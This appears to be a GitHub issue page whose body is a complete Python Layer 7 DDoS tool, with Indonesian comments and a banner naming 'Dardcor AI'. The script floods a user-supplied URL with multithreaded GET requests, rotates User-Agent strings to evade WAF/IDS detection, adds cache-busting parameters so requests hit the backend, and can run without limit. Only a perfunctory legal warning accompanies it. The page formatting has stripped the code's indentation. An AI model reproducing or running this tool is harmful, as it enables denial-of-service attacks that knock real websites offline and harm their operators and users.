Skip to content

DDOS 7 LAYER #39

@ranzzxennzy-boop

Description

@ranzzxennzy-boop

import requests
import threading
import time
import random
import os

--- Konfigurasi Global ---

request_count = 0 # Penghitung permintaan sukses global
stop_event = threading.Event() # Event untuk menghentikan thread secara gracefully

--- Fungsi Serangan ---

def perform_attack(target_url, headers):
"""
Fungsi ini akan terus-menerus mengirim permintaan GET ke target URL.
"""
global request_count
while not stop_event.is_set():
try:
# Mengubah User-Agent secara acak untuk mensimulasikan berbagai browser
# dan mempersulit deteksi oleh WAF/IDS
headers['User-Agent'] = random.choice([
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/110.0.1587.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'
])
# Menambahkan parameter query acak untuk melewati cache dan memastikan
# setiap permintaan mencapai server backend
params = {'cache_buster': str(int(time.time() * 1000000)) + str(random.randint(0, 9999))}

        # Mengirim permintaan GET dengan timeout singkat untuk menghindari thread stuck
        response = requests.get(target_url, headers=headers, params=params, timeout=5)

        if response.status_code == 200:
            request_count += 1
            # print(f"[*] Request successful! Status: {response.status_code}") # Uncomment untuk melihat setiap request
        # else:
            # print(f"[!] Request failed! Status: {response.status_code}") # Uncomment untuk melihat setiap request

    except requests.exceptions.Timeout:
        # print("[-] Request timed out.")
        pass
    except requests.exceptions.ConnectionError:
        # print("[-] Connection error.")
        pass
    except Exception as e:
        # print(f"[!] An unexpected error occurred: {e}")
        pass
    
    # Memberikan jeda sangat singkat agar tidak terlalu membebani CPU lokal,
    # namun tetap agresif untuk serangan Layer 7
    time.sleep(0.005) 

--- Fungsi Utama ---

def main():
"""
Fungsi utama untuk menginisialisasi dan menjalankan serangan.
"""
os.system('cls' if os.name == 'nt' else 'clear') # Membersihkan konsol

print("=========================================")
print("  Dardcor AI - DDoS Layer 7 Attack Tool  ")
print("=========================================")
print("\n[!] PERINGATAN: Gunakan dengan bijak dan bertanggung jawab. ")
print("    Serangan DDoS dapat memiliki konsekuensi hukum serius.\n")

target_url = input("Masukkan URL target (contoh: http://example.com atau https://example.com): ")
if not target_url.startswith('http://') and not target_url.startswith('https://'):
    target_url = 'http://' + target_url # Default ke HTTP jika tidak ada protokol

try:
    num_threads = int(input("Masukkan jumlah thread (disarankan 50-500, sesuaikan dengan kapasitas mesin Anda): "))
    if num_threads <= 0:
        raise ValueError
except ValueError:
    print("[!] Jumlah thread harus berupa angka positif.")
    return

try:
    duration = int(input("Masukkan durasi serangan dalam detik (0 untuk berjalan tanpa batas sampai dihentikan): "))
    if duration < 0:
        raise ValueError
except ValueError:
    print("[!] Durasi harus berupa angka positif atau nol.")
    return

# Header dasar untuk membuat permintaan terlihat lebih alami
base_headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
}

print(f"\n[*] Memulai serangan DDoS Layer 7 ke {target_url} dengan {num_threads} thread.")
print("[*] Tekan Ctrl+C kapan saja untuk menghentikan serangan secara manual.")

threads = []
for _ in range(num_threads):
    # Setiap thread mendapatkan salinan headernya sendiri
    thread = threading.Thread(target=perform_attack, args=(target_url, base_headers.copy()))
    thread.daemon = True # Memungkinkan program utama keluar meskipun thread masih berjalan
    threads.append(thread)
    thread.start()

start_time = time.time()
try:
    if duration > 0:
        for i in range(duration):
            if stop_event.is_set():
                break
            print(f"\r[*] Waktu berjalan: {i+1}/{duration} detik. Permintaan sukses: {request_count}", end='')
            time.sleep(1)
        print() # Baris baru setelah loop durasi
    else:
        # Berjalan tanpa batas hingga Ctrl+C
        while not stop_event.is_set():
            print(f"\r[*] Serangan berjalan... Permintaan sukses: {request_count}", end='')
            time.sleep(1)
        print() # Baris baru setelah berhenti

except KeyboardInterrupt:
    print("\n[*] Serangan dihentikan oleh pengguna.")
    stop_event.set()
finally:
    stop_event.set() # Pastikan semua thread berhenti
    # Beri sedikit waktu untuk thread berhenti sebelum program keluar
    for t in threads:
        if t.is_alive():
            t.join(timeout=1) # Tunggu thread selesai, dengan timeout

    end_time = time.time()
    print("\n=========================================")
    print(f"[*] Serangan selesai.")
    print(f"[*] Total permintaan sukses: {request_count}")
    print(f"[*] Durasi serangan: {int(end_time - start_time)} detik.")
    print("=========================================\n")

if name == "main":
main()

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions